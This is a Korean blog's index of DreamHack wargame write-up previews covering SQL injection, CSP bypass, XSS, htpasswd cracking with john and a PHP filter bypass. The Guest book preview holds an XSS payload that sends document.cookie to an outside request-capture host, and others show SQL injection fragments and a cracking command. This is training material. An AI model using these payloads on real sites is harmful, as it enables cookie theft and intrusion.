본문 바로가기
728x90
반응형

dreamhack22

DreamHack - [wargame.kr] strcmp 풀이 fetch("http://host3.dreamhack.games:20758/", { "headers": { "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-language": "ko-KR,ko;q=0.8", "cache-control": "max-age=0", "content-type": "application/x-www-form-urlencoded", "sec-gpc": "1", "upgrade-insecure-requests": "1" }, "referrer": "http://host3.dreamhack.games:20758/", "refe.. 2023. 9. 11.
DreamHack - error based sql injection 풀이 TMI) extractvalue 함수 extractvalue(XML 데이터, XPath 표현식)을 인자로 받습니다. XML 데이터는 '드림핵 이야기' 같은 데이터가 올 수 있으며 XPath 표현식에는 '/STORE/BOOK/TITLE' 같은 값이 올 수 있습니다. 만약 SELECT extractvalue('드림핵 이야기', '/STORE/BOOK/TITLE')를 실행하면 드림핵 이야기가 출력이 됩니다. extractvalue 함수를 이용한 error based sql injection 특이하게도 MySQL에는 XPATH syntax 오류가 생기면 그 오류의 원인이 되는 XPath 표현식을 그대로 보여줍니다. 예시: (1105, "XPATH syntax error: '에러의 원인'") 이점을 이용하면 er.. 2023. 9. 10.
DreamHack - CSP Bypass Advanced 풀이 자바스크립트 실행이 안된 이유 @app.after_request def add_header(response): global nonce response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'" nonce = os.urandom(16).hex() return response request 할 때마다 헤더에 CSP(Content-Security-Policy)가 붙기 때문이다. 더 살펴보자면 script-src가 self이기 때문에 orig.. 2023. 9. 10.
DreamHack - chocoshop 풀이 취약점 r.expire(used_coupon, timedelta(seconds=coupon['expiration'] - int(time()))) 우선 이렇게 사용한 쿠폰을 (쿠폰만료시간 + 현재시간) 뒤에 제거하는 것이 좀 수상했고 if coupon['expiration'] { var coupon = res.coupon; fetch(url+"/coupon/submit", { "headers": { "accept": "*/*", "accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7", "authorization": aut.. 2023. 9. 9.
DreamHack - funjs 풀이 개발자 도구에 Sources 탭에서 브레이크 포인트를 거는 것이 핵심 if (flag[_0x374fd6(0x17c)] != 0x24) { 처음에 이 조건문 때문에 자꾸 NOP! 가 출력이 되는데 무슨 내용인지 확인하려면 Console 창에다가 flag[_0x374fd6(0x17c)]와 0x24를 각각 입력 그 결과 if (flag.length != 36)를 뜻하는 것을 확인 플래그 입력 값을 일부로 36글자로 입력해서 다음 라인을 진행하였다. 위와 비슷하게 한줄한줄 진행 과정을 확인하면서 드디어 사용자 입력 값과 실제 flag 값을 비교하는 반복문을 찾아주었는데 난 아래처럼 수정을 하여 진짜 flag 값을 찾을 수 있었다. result = "" for (var i = 0x0; i < flag[_0x374.. 2023. 9. 9.
DreamHack - [wargame.kr] tmitter 풀이 SQL Injection 취약점이 있는 페이지 찾기 우선 로그인 페이지, 회원 가입 페이지에 단따옴표(‘)나 쌍따옴표(")를 다 넣었지만 딱히 문제없이 회원 가입과 로그인이 작동했다. 하지만 닉네임에 단따옴표(’)가 있을 때 tmitter 작성 기능이 잘 안되는 것을 확인하여 작성 기능에 SQLi 취약한 점을 찾았다. 필드 개수 확인하기 tmitter 작성 기능에 사용하는 SQL 쿼리문을 예측을 해보았다. 처음에는 아래와 같은 쿼리를 쓰지 않을까 생각을 했었지만 그럼 공격이 먹히기 쉽지 않았다. insert into tmitter_board(id, msg) values ('guest', 'hello'); 아무튼 메시지', null)#을 쓰고 작성을 하니 제대로 올라가는 것을 확인하고 필드가 몇 가지 더 .. 2023. 9. 9.
DreamHack - [wargame.kr] crack crack crack it 풀이 htpassswd blueh4g:$1$SVXyqAwy$iMW9SbLyUd1v6Fen7mNUe0 보자마자 shadow 파일이 떠올랐으며 [username]:[$password_id]:[$salt]:[$encrypted_password] 일 것이라고 생각했다. 첫 번째 필드 $1은 MD5를 나타낸다. 문제에서 패스워드가 처음에는 G4HeulB로 시작하며 알파벳 소문자와 숫자들로 구성 됐다고 언급했다. 우선 패스워드 크랙 도구인 john을 사용을 했으며 mask 옵션을 사용하여 원하는 문자로 이루어진 임의의 패스워드를 생성해 brute forcing 하였다. john htpasswd -1=[0-9a-z] --mask='G4HeulB?1' --max-length=11 몇 초 지나지 않아 바로 크래킹이 성공되었으.. 2023. 9. 9.
DreamHack - broken-png 풀이 image.png’s hex 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 02 00 00 00 01 00 맨 처음 89 50 4E 47 0D 0A 1A 0A 00 00 00 부분은 png의 시그니처 값을 의미한다. 그 바로 아래에 00 00 02 00 00 00 01 00는 각각 width와 height 값이 위치한다. image.png’s width property 00 00 02 00 200(16)은 512(10)이므로 이미지의 width는 512px를 의미한다. image.png’s height property 00 00 01 00 100(16)은 256(10)이므로 이미지의 height는 256px를 의미한다. 문제에서 원본은 정사각형 크기였으나.. 2023. 9. 8.
DreamHack - phpreg 풀이 첫 번째 문제 : 조건에 만족하는 name 찾기 아래 코드를 확인하면 단번에 name은 "dnyang0310"가 정답인 걸 알 수 있다. if ($name === "dnyang0310" && $pw === "d4y0r50ng+1+13") 하지만 아래 preg_replace에 의해 "nyang"이 공백으로 치환된다. $name = preg_replace("/nyang/i", "", $input_name); 단어가 공백으로 치환되는 것은 아래와 같이 쉽게 우회 가능하다. dnnyangyang0310 --> dn yang0310 --> dnyang0310 두 번째 문제 : 조건에 만족하는 password 찾기 아래 조건식으로 인해 패스워드에 알파벳이 포함할 수가 없다. // pw filtering if (pr.. 2023. 9. 8.
DreamHack - out_of_boundary 풀이 out_of_boundary.c #include #include #include #include #include char name[16]; char *command[10] = { "cat", "ls", "id", "ps", "file ./oob" }; void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } int main() { int idx; initialize(); printf("Admin name: "); read(0, name.. 2023. 9. 8.
DreamHack - Guest book v0.2 풀이 먼저 페이지 하단에 작성된 태그들을 찾게 되면 문제 푸는 속도가 빨랐을 것이다. config.js의 내용은 아래와 같다. window.CONFIG = { version: "v0.2", main: "/", debug: false, debugMSG: "" } // prevent overwrite Object.freeze(window.CONFIG); 아래의 Object.freeze 메소드으로 인해 window.CONFIG가 overwriting이 안되는 상황이며 if 조건이 false로 나오면서 아래의 "localtion.href = window.CONFIG.main" 라인을 실행하지 못한다. config.js 우회 방법 쪽에 문제점이 하나 있었다. 바로 .js 자원을(config.js) 상대 경로 형태로 읽.. 2023. 9. 7.
DreamHack - Guest book 풀이 방법 1. name과 onfocus 사용 [dreamhack](#' name='foo' onfocus='location.href=`https://bqfyoyg.request.dreamhack.games/cookie=`+document.cookie') 위 텍스트를 URL Encoding 한다. %5Bdreamhack%5D%28%23%27%20name%3D%27foo%27%20onfocus%3D%27location%2Ehref%3D%60https%3A%2F%2Fbqfyoyg%2Erequest%2Edreamhack%2Egames%2Fcookie%3D%60%2Bdocument%2Ecookie%27%29 인코딩 된 값을 content 파라미터 값으로 건네주는데 URL 뒤에 #foo를 포함하는 것이 핵심 http:.. 2023. 9. 7.
728x90
반응형